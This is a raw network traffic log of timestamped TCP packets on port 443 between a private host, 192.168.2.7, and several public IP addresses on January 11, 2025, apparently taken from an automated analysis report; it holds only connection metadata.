Jan 11, 2025 09:26:05.903682947 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.903784990 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.903793097 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.903950930 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.903958082 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.941091061 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.941325903 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.941338062 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991473913 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991583109 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991683006 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991688967 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.991724968 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991754055 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.991801977 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991861105 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.991869926 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.991919041 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.992091894 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.992111921 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.992151976 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.992204905 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.992253065 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.992259979 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.992362976 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.992420912 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.992428064 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.992472887 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.993082047 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.993154049 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.993158102 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.993184090 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.993211985 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.993225098 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.993297100 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.993355036 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.994168043 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.994240999 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.994246006 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.994261026 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.994291067 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.994889021 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.994949102 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.994955063 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.995023966 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.995028973 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.995045900 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.995078087 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.995296955 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:05.995589018 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.995713949 CET	49729	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:05.995732069 CET	443	49729	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.312664986 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.313570976 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.313585043 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.314990997 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.315100908 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.315694094 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.315766096 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.315848112 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.335576057 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.339548111 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.339576960 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.341156960 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.341228962 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.341698885 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.341799021 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.341866016 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.341873884 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.363327980 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.418979883 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.421840906 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.436019897 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.447088003 CET	49738	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.447123051 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.447504997 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.447527885 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.447689056 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.448002100 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.452581882 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.452594995 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.455840111 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.455899000 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.455939054 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.455988884 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.456026077 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.456026077 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.456037998 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.456291914 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.456298113 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.456726074 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.456773996 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.456794977 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.456800938 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.456948996 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.460505009 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.460580111 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.460712910 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.460721016 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472086906 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472157001 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472197056 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472239017 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472243071 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.472259998 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472280025 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.472333908 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472374916 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.472381115 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472718954 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.472764969 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.472771883 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.476738930 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.476794958 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.476802111 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.517296076 CET	49738	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.517469883 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.517759085 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.517959118 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.542495966 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.542537928 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.542603970 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.542624950 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.542654037 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.542702913 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.542820930 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.543143988 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.543204069 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.543243885 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.543340921 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.543365002 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.544292927 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.560436964 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.560498953 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.560501099 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.560530901 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.560601950 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.560645103 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.560652018 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.560668945 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.560698986 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.560748100 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561239004 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561286926 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.561294079 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561326027 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.561331987 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561422110 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561470032 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561517000 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.561523914 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561537027 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.561562061 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.562263012 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.562310934 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.562320948 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.562330008 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.562433004 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.562469959 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.562473059 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.562484980 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.562511921 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.563209057 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.563276052 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.563278913 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.563290119 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.563330889 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.563386917 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.563463926 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.563553095 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.563580990 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.563606977 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.612263918 CET	49738	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.612700939 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.805530071 CET	49738	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.805602074 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.806094885 CET	49737	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.806121111 CET	443	49737	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.814871073 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:06.814934969 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:06.815021992 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:06.815244913 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:06.815270901 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:06.851325989 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.851334095 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.868613958 CET	49740	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:06.868652105 CET	443	49740	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:06.908202887 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.908297062 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.908346891 CET	49738	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.913101912 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.913167000 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.913219929 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.913239956 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.913276911 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.913305044 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.913332939 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.913358927 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.915909052 CET	49738	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.915921926 CET	443	49738	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:06.920553923 CET	49739	443	192.168.2.7	104.21.76.57
Jan 11, 2025 09:26:06.920608044 CET	443	49739	104.21.76.57	192.168.2.7
Jan 11, 2025 09:26:07.013140917 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.013199091 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.013272047 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.013608932 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.013632059 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.034809113 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.034852028 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.035228014 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.035801888 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.035818100 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.475640059 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.476289988 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.476325035 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.476676941 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.477474928 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.477555990 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.477782965 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.478267908 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:07.478601933 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:07.478636026 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:07.479959011 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:07.480025053 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:07.484252930 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:07.484389067 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:07.508024931 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.508625984 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.508647919 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.508999109 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.509742022 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.509804010 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.510092974 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.523324013 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.555331945 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610012054 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610061884 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610090017 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610119104 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610143900 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610156059 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.610178947 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610222101 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610259056 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.610259056 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.610354900 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610378981 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610403061 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.610419035 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.610738993 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.614813089 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.614867926 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.614921093 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.614938021 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.642854929 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.642927885 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.643064022 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.655838013 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.660119057 CET	49753	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.660136938 CET	443	49753	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.695379019 CET	443	49746	142.250.181.228	192.168.2.7
Jan 11, 2025 09:26:07.695478916 CET	49746	443	192.168.2.7	142.250.181.228
Jan 11, 2025 09:26:07.698651075 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698710918 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698739052 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698790073 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698802948 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.698817968 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698831081 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698831081 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.698868036 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.698889017 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698959112 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.698981047 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.699017048 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.699028969 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.699079990 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.699651003 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.699702024 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.699740887 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.699754953 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700099945 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700124979 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700139999 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.700159073 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700217009 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.700267076 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700349092 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700376034 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700390100 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.700397968 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.700460911 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.701018095 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.739279032 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.739334106 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.739347935 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.739362001 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.739399910 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.787228107 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.787308931 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.787343979 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.787355900 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.787394047 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.787436962 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.787444115 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.787453890 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.787480116 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.787503004 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.788105965 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.788165092 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.788178921 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.788189888 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.788219929 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.788738966 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.788785934 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.788795948 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.788836956 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.788861990 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.788911104 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.789607048 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.789654970 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.789799929 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.789818048 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.789819002 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.789850950 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.789872885 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.789897919 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.790942907 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.790978909 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.791001081 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.791012049 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.791023970 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.791040897 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.791059971 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.791065931 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.791488886 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.791594028 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.791601896 CET	443	49752	104.18.95.41	192.168.2.7
Jan 11, 2025 09:26:07.791655064 CET	49752	443	192.168.2.7	104.18.95.41
Jan 11, 2025 09:26:07.828006983 CET	443	49752	104.18.95.41	192.168.2.7
